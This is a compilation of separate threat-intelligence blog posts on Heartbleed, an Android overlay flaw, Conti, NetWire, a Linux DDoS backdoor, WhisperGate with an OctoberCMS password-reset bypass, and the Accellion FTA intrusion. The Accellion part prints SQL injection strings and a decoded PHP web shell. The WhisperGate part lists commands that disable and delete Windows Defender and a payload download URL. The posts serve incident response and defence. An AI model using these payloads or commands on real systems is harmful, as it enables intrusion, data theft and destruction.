As Heartbleed allows the attacker to scrape memory from the vulnerable device, they can retrieve significant amounts of secret information.
In this case, that apparently included VPN credentials, which they then used to log into the network and more laterally from system to system until discovering the data they were after.
While most vendors released patches for their products months ago it remains up to the users and administrators to ensure those patches are deployed.
As the OpenSSL library is so widely used, some administrators may be finding unpatched systems for years to come.
While network-based defenses are not a substitute for patching software, Heartbleed is detectable using IPS signatures.
Palo Alto Networks deployed five signatures in April to defend against this threat, 40039, 36420, 36419, 36418 and 36416.
No matter how well patched your systems are, there’s no reason not to deploy IPS signatures like these to detect and block attempted Heartbleed exploits.
If you’ve already deployed signatures and your logs are showing attempted exploits, consider blocking or monitoring the IP addresses sending the requests.
A Heartbleed probe could be evidence of the early stages of an attack on your network, and persistent attackers are unlikely to give up after jiggling the handle on the front door.
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Today, Palo Alto Networks Unit 42 researchers are announcing details on a new high- severity vulnerability affecting the Google Android platform.
Patches for this vulnerability are available as part of the September 2017 Android Security Bulletin.
This new vulnerability does NOT affect Android 8.0 Oreo, the latest version; but it does affect all prior versions of Android.
There is some malware that exploits some vectors outlined in this article, but Palo Alto Networks Unit 42 is not aware of any active attacks against this particular vulnerability at this time.
Since Android 8.0 is a relatively recent release, this means that nearly all Android users should take action today and apply updates that are available to address this vulnerability.
What our researchers have found is a vulnerability that can be used to more easily enable an “overlay attack,” a type of attack that is already known on the Android platform.
This type of attack is most likely to be used to get malicious software on the user’s Android device.
This type of attack can also be used to give malicious software total control over the device.
In a worst-case attack scenario, this vulnerability could be used to render the phone unusable (i.e., a “brick”) or to install any kind of malware including (but not limited to) ransomware or information stealers.
In simplest terms, this vulnerability could be used to take control of devices, lock devices and steal information after it is attacked.
An “overlay attack” is an attack where an attacker’s app draws a window over (or “overlays”) other windows and apps running on the device.
When done successfully, this can enable an attacker to convince the user he or she is clicking one window when, in fact, he or she is actually clicking another window.
In Figure 1, you can see an example where an attacker is making it appear that the user is clicking to install a patch when in fact the user is clicking to grant the Porn Droid malware full administrator permissions on the device.
Figure 1: Bogus patch installer overlying malware requesting administrative permissions
You can see how this attack can be used convince users to unwittingly install malware on the device.
This can also be used to grant the malware full administrative privileges on the device.
An overlay attack can also be used to create a denial-of-service condition on the device by raising windows on the device that don’t go away.
This is precisely the type of approach attackers use with ransomware attacks on mobile devices.
Of course, an overlay attack can be used to accomplish all three of these in a single attack:
Overlay attacks aren’t new; they’ve been discussed before.
But until now, based on the latest research in the IEEE Security & Privacy paper, everyone has believed that malicious apps attempting to carry out overlay attacks must overcome two significant hurdles to be successful:
These are significant mitigating factors and so overlay attacks haven’t been reckoned a serious threat.
However, our new Unit 42 research shows that there is a way to carry out overlay attacks where these mitigating factors don’t apply.
If a malicious app were to utilize this new vulnerability, our researchers have found it could carry out an overlay attack simply by being installed on the device.
In particular, this means that malicious apps from websites and app stores other than Google Play can carry out overlay attacks.
It’s important to note that apps from websites and app stores other than Google Play form a significant source of Android malware worldwide.
The particular vulnerability in question affects an Android feature known as “Toast.” “Toast” is a type of notification window that “pops” (like toast) on the screen.
“Toast” is typically used to display messages and notifications over other apps.
Unlike other window types in Android, Toast doesn’t require the same permissions, and so the mitigating factors that applied to previous overlay attacks don’t apply here.
Additionally, our researchers have outlined how it’s possible to create a Toast window that overlays the entire screen, so it’s possible to use Toast to create the functional equivalent of regular app windows.
In light of this latest research, the risk of overlay attacks takes on a greater significance.
Fortunately, the latest version of Android is immune from these attacks “out of the box.” However, most people who run Android run versions that are vulnerable.
This means that it’s critical for all Android users on versions before 8.0 to get updates for their devices.
You can get information on patch and update availability from your mobile carrier or handset maker.
Of course, one of the best protections against malicious apps is to get your Android apps only from Google Play, as the Android Security Team aggressively screens against malicious apps and keeps them out of the store in the first place.
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Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow.
The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies.
Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system – prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.
Conti also stands out as unreliable.
We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.
The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million.
This makes Conti one of the greediest groups out there.
If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.
We’ve followed Conti for more than a year through our work helping organizations respond to ransomware attacks.
It appears to be one of many private cybercrime groups that have set up their operations by leveraging the booming ransomware-as-a-service (RaaS) ecosystem.
Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.
They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers.
Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it’s achieved, such as through the use of Cobalt Strike or PowerShell.
These approaches are not particularly clever or sophisticated, but often they are effective.
Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using.
When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.
But Conti’s methods do have atypical elements.
Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims.
They want to establish stellar reputations for “customer service” and for delivering on what they promise – that if you pay a ransom, your files will be decrypted (and they will not appear on a leak website).
Yet in our experience helping clients remediate attacks, Conti has not demonstrated any signs that it cares about its reputation with would-be victims.
In one recent case, Conti did not return a client’s files who had paid the ransom.
This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web.
In another case, our client needed an inventory of all files accessed, so that they could notify parties whose data was affected.
Conti agreed to share that information if a payment was made, then changed their minds, saying, “We do not own that data anymore.
It was deleted and there is no chance to restore it.” Like many ransomware gangs, Conti is constantly adapting to changes, including recent heightened scrutiny by law enforcement and policy makers following high-profile disruptive attacks on the Colonial pipeline and healthcare organizations.
When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key.
But there was a twist: The group maintained that it would still make good on its "double extortion" threat to publish stolen data on its leak site.
Unfortunately, keeping Conti out of your network often isn’t simple.
A primary means of infection appears to be through phishing scams, and attackers are constantly upping their game in this area.
While phishing emails used to be pretty easy for almost anyone to spot, particularly after some awareness training, we are seeing increasingly sophisticated attacks in which the threat actors have done plenty of homework on their intended victims.
Sometimes they’ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network.
Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds.
Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.
Palo Alto Networks detects and prevents Conti ransomware in the following ways:
Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.
Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001]
Windows Command Shell [T1059.003], Native API [T1106]
Deobfuscate/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001]
File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049]
SMB/Windows Admin Shares [T1021.002], Taint Shared Content [T1080]
Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489]
Table 1.
Courses of Action for Conti ransomware.
†These capabilities are part of the NGFW security subscriptions service.
* These analytic detectors will trigger automatically for Cortex XDR Pro customers.
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In recent research, Palo Alto Networks found attackers were targeting home routers to take control and use them for attacks against other websites that can bring them down.
Here we explain this type of attack and what you should do.
Why should I care, what can it do to me?
These attacks could affect you in two ways:
What causes this kind of attack?
Weak passwords and out-of-date software can both enable attackers to take complete control of your home router.
How can I prevent it?
Attackers target home routers like this by targeting default passwords and out-of-date software on the routers.
An easy thing you can do is restart your router once a week (typically by unplugging it).
You can also stay safe by changing the password on your router and updating the software.
If you’re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.
How does it work?
When devices (in this case, the routers) are under someone else’s control like this, the collection is referred to as a “botnet”, a network (-net) of remotely controlled systems or devices (bot-).
When attackers have complete control of your home router, they can install attack software that they control, turning the device into a “bot”.
Attacks can make all the controlled routers in a botnet do anything they want, including sending huge amounts of data to try and bring websites down.
These kinds of attacks are called “Distributed Denial of Service” or “DDoS” attacks.
Attackers use them to take down websites for several reasons:
About
Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family?
Email us at u42comms@paloaltonetworks.com.
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On July 22, Palo Alto Networks threat intelligence team, Unit 42, released our first report on the evolution of “Silver Spaniel” 419 scammers.
Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).
This RAT gives a remote attacker complete control over a Windows, Mac OS X, or Linux system through a simple graphical user interface.
To better understand this RAT, our team reverse engineered the communication protocol that NetWire uses.
Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.
NetWire uses a custom, TCP-based protocol.
The producer of the NetWire WorldWiredLabs, states that the tool uses 256-bit AES encryption, which we found to be accurate.
The tool generates two encryption keys using a static password that the attacker chooses when creating the NetWire binary.
Each packet has the following structure:
< 4 Byte Little-Endian length > < 1 Byte Command > < Data >
The shortest possible packet is the “HeartBeat” command, which NetWire generates every 10 seconds.
The initial packet from the client to the server shows a data and command length of 65 bytes (0x41 listed at the beginning of the packet) with a command byte of 0x03.
Within that data is a 32-byte seed value followed by a 16-byte initialization vector (IV) value.
The client then combines the 32-byte seed value with the static password in a predetermined fashion to form an AES key.
Upon receiving the initial packet, the server uses the seed value and password to generate the client’s session key.
It then generates its own 32-byte seed value to create it’s own session key and sends the seed value to the client.
The client combines this with the password and generates the same key.
At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.
With the two keys in place, the malware uses the AES algorithm to encrypt traffic using Output Feedback (OFB) mode (Picture courtesy of Wikipedia).
The output of the block cipher encryption is eXclusive OR’ed (XOR’d) with 16 bytes of ciphertext to decrypt.
Each subsequent block of ciphertext will use the previous encrypted data as the IV passed into the block cipher encryption function.
The malware has a full suite of possible commands, 76 to be exact.
Upon receipt of a command from the server, a single function is called to decrypt the payload data and execute the received instruction.
The value in the command byte determines which of the commands is run through a 76 way switch statement.
A complete list of the possible commands available in NetWire was documented by CIRCL in April.
The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.
The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.
This password is set to “Password” by default, but can be retrieved from NetWire binaries if the attacker used something more secure.
The usage for the tool is show below.
At this time the tool works against the latest version of NetWire, 1.5c.
We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.
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A backdoor implant is an increasingly common mechanism for maintaining unauthorized access and control over a computer asset.
The terms remote administration tool (RAT) and trojan downloader are often used synonymously with such implants.
Once installed (i.e.
implanted on a system), the modern backdoor typically offers much more than simple (i.e.
command line) access to a system.
Depending on the backdoor’s specialization and sophistication, it can also capture keystrokes, take screenshots, scrape memory for valuable information, search for files meeting certain criteria, query databases, download files and additional malware, exfiltrate data and files, and even serve as an attack platform.
Effectively, a backdoor implant affects loss of control over a computer asset.
The tangible and intangible impacts of this loss of control vary based on respective backdoor capabilities, and may include the following: leakage of authentication credentials, loss of intellectual property, exposure of sensitive information, negative standing or reputation, and various levels of liability for actions executed on or from the compromised asset.
Recently Palo Alto Networks discovered a backdoor program ( md5: b826fb1253a52a3b53afa3b7543d7694, sha256: 6bedd1b0716fe7632188932451f75295346836545e6d2bfee1b56121e02ca110 ) that is used to control a linux operating system.
This particular linux backdoor will install itself to "/usr/bin/btdaemon" and create a startup service at "/etc/init.d/bluetoothdaemon" with symbolic links so that it will run in any startup mode.
The file contents are a simple bash script that runs the original btdaemon file.
The backdoor when run will create threads for each connection listed in its config file.
The sample that was caught by our systems contains 3 IP addresses in its config file.
For each IP address the btdaemon service will attempt to make a connection on UDP ports 53, 80, 110, and 443.
Upon successful connection it will send the string "¡°MlCROS0FT|1.2 Apr 26 2014  02:37:05|Linux Kernel Version¡±" and will wait for an "Auth" packet from the server.
If the backdoor receives a packet in the form of a "cmdType|cmdBody" it will check the cmdType list and execute the equivalent instruction.
Valid instructions are between 0-9 and there functionality varies depending on the command.
While running the btdaemon process also inspects whether there is an ".IptabLes" or ".IptabLex" local process, and sends back status for monitoring purposes.
If the "disablerun" command is sent the backdoor will download a file named "run.txt" from one of the following URLs:
The file data is in the format "exe_path_1 | exe_path_2 | ... | exe_path_N".
If none of the paths is correct then a "getsetup.rar" file is downloaded and run.
This is an ELF file and there are various encrypted portions within it.
There exist two embedded zlib-encrypted blocks at file offset 0x8C0C0 and 0xE6B40 respectively.
When run if the filename does not include the "IptabLes" string then the data is decrypted, written to disk, and then executed, installing itself as a startup service on the machine and place itself in one of the following locations:
The second encrypted block is configuration data, which includes some IP addresses and DNS data which is used when it writes the first decrypted block to a file.
"dns.po888.com|122.228.242.51|119.145.148.56|162.221.13.82".
If the file is run in a path including the "IptabLes" string then it installs itself as a startup service and proceeds into its main loop.
Either path the "getsetup.rar" file takes is meant to ensure that it is installed as a startup service, ensuring persistence.
Once the file is running it creates a process identifier (PID) so that only one instance is running at any given time.
The file will connect to an IP and port configured from the configuration data and sends along information that includes the cpu and memory information.
If the file does not receive any data within 30 seconds it will send a "xy" response back to the server.
If the file does receive data from the server in excess of 20 bytes it will be in the following format:
<2 byte data length><0xABCDEF88><zlib-encrypted data>
The decrypted data will contain the following fields:
The attack type field is used to determine if a SYN DDoS or DNS DDoS is used in an attack.
The Src IP Begin and End are the start and ending IP ranges used as a fake src addresses in the DNS DDoS.
The IP range can also be controlled by global variables within the binary itself as well.
If the received data has 0x22 as the first set of bytes then the received data will be in the following format:
<0x22><IP Address 1(4bytes)><IP Address 2 (4bytes)>
It will also do the following UDP connection test:
If the first value in the packet is 0xC8 then the file will set "g_mainsrvinfo.srandipb" and "g_mainsrvinfo.srandipe" and "g_mainsrvinfo.udpport" to the passed in values.
If the first value in the packet is 0xCC then the file will set "g_mainsrvinfo.srandipb" and "g_mainsrvinfo.srandipe".
If the first value in the packet is 0x33 the file will use tcp to download a file and execute it.
If the first value in the packet is 0x20 the file will delete all DDoS tasks.
If the first value in the packet is 0x10 then the file will send back the current socket handle as a response back.
Currently these IP addresses are alive and active.
Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems.
Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.
Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage.
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Beginning on Jan. 14, 2022, reports began emerging about a series of attacks targeting numerous Ukrainian government websites.
As a result of these attacks, numerous government websites were found to be either defaced or inaccessible.
As a result of this, the government of Ukraine formally accused Russia of masterminding these attacks against their websites.
A day later, public reporting outlined new malware called WhisperGate that originally was observed on Jan. 13, 2022.
This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine.
Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586.
Though both attacks have targeted Ukrainian organizations, the two threats have so far been implemented in separate situations.
As a result of these events, Palo Alto Networks researchers took immediate action to ensure that customers anywhere in the world can be appropriately protected against these reported threats, however they may be exploited.
These attacks ultimately resulted in the investigation of the following two threats:
Palo Alto Networks customers can use Xpanse or Threat Prevention for the Next-Generation Firewall to identify vulnerable and/or internet-facing instances of OctoberCMS.
Protections against WhisperGate malware have been included in Cortex XDR, as well as in the WildFire and Advanced URL Filtering subscriptions for the Next-Generation Firewall.
There is a Cortex XSOAR pack available to assist with detecting and mitigating both threats.
CVE-2021-32648 Vulnerability
WhisperGate Malware Family
Mitigation Actions
Hunting for WhisperGate
Conclusion
Additional Resources
The CVE-2021-32648 vulnerability lies within the OctoberCMS platform prior to version 1.0.472 and results in an attacker gaining access to any account via a specially crafted account password reset request.
This vulnerability is believed to have allowed threat actors to gain access to the underlying websites leveraged by the Ukraine government.
Once the vulnerability was discovered, Palo Alto Networks threat researchers quickly began reverse-engineering the patch that remediated this vulnerability and were able to produce a working proof of concept (PoC) in a very short time.
Later that day, a public PoC surfaced, allowing organizations to better understand this vulnerability and how it is exploited.
Using our PoC, we created the following demonstration video of how a malicious actor would exploit the CVE-2021-32648 vulnerability, log into the compromised OctoberCMS account and to deface a web page hosted by the server:
To determine how this vulnerability was exploited, we analyzed the patch that developers added to OctoberCMS version 1.0.472 to mitigate the CVE-2021-32648 vulnerability.
We discovered that the vulnerable code existed in the Auth/Models/User.php file within the October Rain library of OctoberCMS.
The code that exposes this vulnerability is within a function named checkResetPasswordCode, specifically, line 281 in User.php.
The following line of code attempts to validate the inbound password reset request by comparing the reset code submitted within the HTTP request with the reset code generated by OctoberCMS during a legitimate reset process:
To exploit this vulnerability, the actor would simply supply a boolean true value as the reset code within a custom-crafted HTTP request to reset the password of an account.
By supplying the boolean true, the comparison between boolean true and the reset code string results in a boolean true, even though the two variables have different types.
This effectively validates the actor’s inbound password reset request, which allows the actor to then change the password
To fix this vulnerability in version 1.0.472, the OctoberCMS developer changed the line of code above to use === instead of == when comparing the values of the reset code provided by the user via an HTTP POST request.
The difference between === and == involves the === comparing the value and type of value of the variable, not just the value, as happens when using ==.
To demonstrate the difference, the following two commands run PHP code to show that a comparison of the string code with boolean true using == results in a boolean true, while the same comparison using === results in a boolean false:
As a result of the analysis of the CVE-2021-32648 vulnerability, various product protections were created or enhanced.
More information about these protections can be found within the Mitigation Actions section of the briefing.
First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target.
It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload.
The in-memory code uses Living Off the Land Binaries (LOLBINs) to evade detection and also performs anti-analysis techniques, as it will fail to detonate when certain monitoring tools exist.
At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe.
Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note:
Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN).
Discord’s CDN is a user-created service that allows users to host attachments and is not malicious.
The hosted file is retrieved from the following URL:
hxxps://cdn.discordapp[.
]com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg
File Tbopbh.jpg is the malicious payload that is in-memory loaded and kicks off the destructive capabilities.
The following patterns of activities are associated with this payload:
1.
File InstallUtil.exe is copied to the host’s %TEMP% directory, e.g.
C:\Users\[USERNAME]\AppData\Local\Temp.
This file is a legitimate Microsoft Windows binary.
2.
Two instances of PowerShell are spawned with an encoded command to sleep for 10 seconds, e.g.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
3.
A Visual Basic Script (VBS) is created in C:\Users\[USERNAME]\AppData\Local\Temp named: Nmddfrqqrbyjeygggda.vbs
4.
Process wscript.exe is used to execute the VBS script in step 3.
The VBS script is used to call PowerShell to set Windows Defender exclusion path to C:\ e.g.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath 'C:\'
5.
AdvancedRun.exe is created and written to the C:\Users\[USERNAME]\AppData\Local\Temp directory.
6.
AdvancedRun.exe is used to execute PowerShell.exe to delete and stop Windows Defender.
The following command parameters are passed to AdvancedRun:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
"C:\Users\USERNAME]AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
7.
PowerShell process used to delete Windows Defender, e.g.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse
8.
File InstallUtil.exe running from C:\Users\[USERNAME]\AppData\Local\Temp directory.
The in-memory payload (Tbopbh.jpg) is running within the context of the InstallUtil.exe process
9.
Multiple instances of cmd.exe calling Ping.exe to delete file InstallUtil.exe, e.g.
cmd.exe /min /C ping 111.111.111[.
]111 -n 5 -w 10 > Nul & Del /f /q %TEMP%\InstallUtil.exe
10.
File AdvancedRun.exe is deleted from the C:\Users\[USERNAME]\AppData\Local\Temp directory by the stage2.exe binary.
11.
ICMP traffic to host: 111.111.111[.
]111
12.
All files and directories, including those on mounted USB drives, excluding the floppy drive (A:) are targeted.
The following file extensions are overwritten with a one-byte value of 0xCC.
13.
Targeted files greater than one megabyte are truncated to one megabyte when overwritten.
14.
Virus & Threat protection is no longer available from Windows Security.
Organizations running OctoberCMS prior to Build 472 and v1.1.5 are encouraged to update to the latest version.
Additionally, in order for this vulnerability to be exploited, the web server must be running PHP below 7.4.
Palo Alto Networks customers receive protections against the OctoberCMS vulnerability in the following ways:
Palo Alto Networks customers receive protections against WhisperGate malware in the following ways:
The Cortex XSOAR "WhisperGate & CVE-2021-32648'' pack can help automatically detect and mitigate the two threats.
Read more on the XSOAR marketplace.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Palo Alto Networks Cortex XDR customers may leverage the following XQL queries, written by the Cortex Managed Threat Hunting service experts, to hunt their datasets for indicators related to WhisperGate malware:
The Unit 42 Threat Intelligence team remains vigilant in monitoring this evolving situation, is actively hunting for known indicators from recent events and is ready to put protections in place to thwart attacks against our customers.
Product-specific protections have been implemented as a result of research performed in recent days, and those protections will be augmented as needed as more details come to light.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
Updated March 4, 2022, at 6:15 a.m. PT.
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On Saturday, Microsoft disclosed a critical vulnerability in Internet Explorer, CVE-2014-1776, affecting Internet Explorer versions 6 through 11.
The vulnerability exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.
The vulnerability allows an attacker to execute arbitrary code in the context of the current user within Internet Explorer.
This could be exploited with drive-by downloads or watering-hole attacks, and has been observed being used in attacks in the wild.
The exploit code used in these attacks only targets IE versions 9, 10 and 11, but earlier versions are still vulnerable.
As of this writing, Microsoft has not stated when a patch for the vulnerability will be available, but in its advisory the company provided multiple work-arounds.
Additionally, Windows XP systems running IE 6, 7 and 8 are also vulnerable, but will not receive a patch, as Microsoft no longer supports them.
It is always important to view this type of critical vulnerability in the larger context of the threat landscape.
Attackers identify thousands of critical vulnerabilities in commonly used software each year, such as Internet Explorer.
Once identified, they then craft a seemingly endless supply of exploits that leverage these vulnerabilities to deliver unknown malware and compromise networks and endpoints.
Palo Alto Networks enterprise security platform is focused on providing an integrated approach to detecting and preventing advanced threats across each step in the attack kill-chain.
Bringing together our next-generation firewall – again a Gartner Magic Quadrant Leader – Threat Prevention, URL Filtering, WildFire, and Cyvera’s ability to prevent exploitation of unknown vulnerabilities will allow us to continue offering ground-breaking protection for our customers’ networks and endpoints, including Windows XP clients.
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Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE.
The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS\" .onion website.
Some of the published victim data appears to have been stolen using the DEWMODE web shell.
Notably, the number of victims on the “CL0P^_- LEAKS\" shaming website has increased in February 2021 with organizations in the United States, Singapore, Canada, and the Netherlands recently outed by these threat actors.
Mandiant has previously reported that FIN11 has threatened to post stolen victim data on this same .onion site as an additional tactic to pressure victims into paying extortion demands following the deployment of CLOP ransomware.
However, in recent CLOP extortion incidents, no ransomware was deployed nor were the other hallmarks of FIN11 present.
We are currently tracking the exploitation of the zero-day Accellion FTA vulnerabilities and data theft from companies running the legacy FTA product as UNC2546, and the subsequent extortion activity as UNC2582.
We have identified overlaps between UNC2582, UNC2546, and prior FIN11 operations, and we will continue to evaluate the relationships between these clusters of activity.
For more information on our use of ‘UNC’ designations, see our blog post, \" DebUNCing Attribution:
How Mandiant Tracks Uncategorized Threat Actors .\
"
Mandiant has been working closely with Accellion in response to these matters and will be producing a complete security assessment report in the coming weeks.
At this time, Accellion has patched all FTA vulnerabilities known to be exploited by the threat actors and has added new monitoring and alerting capabilities to flag anomalies associated with these attack vectors.
Mandiant has validated these patches.
Mandiant is currently performing penetration testing and code review of the current version of the Accellion FTA product and has not found any other critical vulnerabilities in the FTA product based on our analysis to date.
Accellion customers using the FTA legacy product were the targets of the attack.
Accellion FTA is a 20-year-old product nearing end of life.
Accellion strongly recommends that FTA customers migrate to kiteworks , Accellion’s enterprise content firewall platform.
Per Accellion, Kiteworks is built on an entirely different code base.
The following CVEs have since been reserved for tracking the recently patched Accellion FTA vulnerabilities: CVE-2021-27101 - SQL injection via a crafted Host header CVE-2021-27102 - OS command execution via a local web service call CVE-2021-27103 - SSRF via a crafted POST request CVE-2021-27104 - OS command execution via a crafted POST request UNC2546 and
DEWMODE In mid-December 2020, Mandiant responded to multiple incidents in which a web shell we call DEWMODE was used to exfiltrate data from Accellion FTA devices.
The Accellion FTA device is a purpose-built application designed to allow an enterprise to securely transfer large files.
The exfiltration activity has affected entities in a wide range of sectors and countries.
Across these incidents, Mandiant observed common infrastructure usage and TTPs, including exploitation of FTA devices to deploy the DEWMODE web shell.
Mandiant determined that a common threat actor we now track as UNC2546 was responsible for this activity.
While complete details of the vulnerabilities leveraged to install DEWMODE are still being analyzed, evidence from multiple client investigations has shown multiple commonalities in UNC2546's activities.
Evidence of Exploitation and DEWMODE Installation Mandiant has been able reconstruct many of the details about how Accellion FTAs have been compromised through examination of Apache and system logs from impacted devices—from initial compromise, to deployment of DEWMODE, and follow-on interaction.
The earliest identification of activity associated with this campaign occurred in mid-December 2020.
At this time, Mandiant identified UNC2546 leveraging an SQL injection vulnerability in the Accellion FTA.
This SQL injection served as the primary intrusion vector.
Mandiant observed evidence of SQL injection followed by subsequent requests to additional resources, as shown in Figure 1.
[21/Dec/2020:18:14:32 +0000]
[.
'))union(select(c_value)from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#9700968/initial] (1) pass through /courier/
document_root.html [21/Dec/2020:18:14:33 +0000] ['))
union(select(loc_id)from(net1.servers)where(proximity)=(0))#/sid#935ee00][rid#9706978/initial] (1) pass through /courier/document_root.html [21/Dec/2020:18:14:33 +0000]
[.
'))union(select(reverse(c_value))from(t_global)where(t_global.c_param)=('w1'))#/sid#935ee00][rid#971c098/initial] (1) pass through /courier/
document_root.html [21/Dec/2020:18:14:34 +0000] [<redacted>/sid#935ee00][rid#971a090/initial] (1) pass through /courier/
sftp_account_edit.php [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9706978/initial] (1) pass through /courier/oauth.api [21/Dec/2020:18:14:35 +0000] [<redacted>/sid#935ee00][rid#9708980/initial] (1) pass through /courier/oauth.api Figure 1: SQL injection log UNC2546 has leveraged this SQL injection vulnerability to retrieve a key which appears to be used in conjunction with a request to the file sftp_account_edit.php .
Immediately after this request, the built-in Accellion utility admin.pl was executed, resulting in an eval web shell being written to oauth.api .
PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --edit_user=
F --mount_cifs=- V,DF,$(echo${IFS}PD9waHAKCmlmKGlzc2V0KCRfUkVRVUVTVFsndG9rZW4nXSkpCnsKICAgIGV2YWwoYm FzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ3Rva2VuJ10pKTsKfQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnd XNlcm5hbWUnXSkpCnsKICAgIHN5c3RlbSgkX1JFUVVFU1RbJ3VzZXJuYW1lJ10pOwp9CmVsc2UKewogICAgaG
VhZGVyKCdMb2NhdGlvbjogLycpOwp9|base64${IFS}-d|tee${IFS}/home/seos/courier/oauth.api);FUK;\",PASSWORD # \\\" --passwd=pop Figure 2: Excerpt from log showing creation of eval web shell The decoded contents are shown in Figure 3.
<?
php if(isset($_REQUEST['token'])) { eval(base64_decode($_REQUEST['token'])); } else if(isset($_REQUEST['username'])) { system($_REQUEST['username']); } else { header('Location: /'); } Figure 3: Decoded eval web shell Almost immediately following this sequence, the DEWMODE web shell is written to the system.
The timing of these requests suggests that DEWMODE was delivered via the oauth.api web shell; however, the available evidence does not indicate the exact mechanism used to write DEWMODE to disk.
Mandiant has identified the DEWMODE web shell in one of the following two locations: /home/seos/courier/about.html /home/httpd/html/about.html
The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page.
UNC2546 then uses the presented list to download files through the DEWMODE web shell.
Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5).
The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA.
Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.
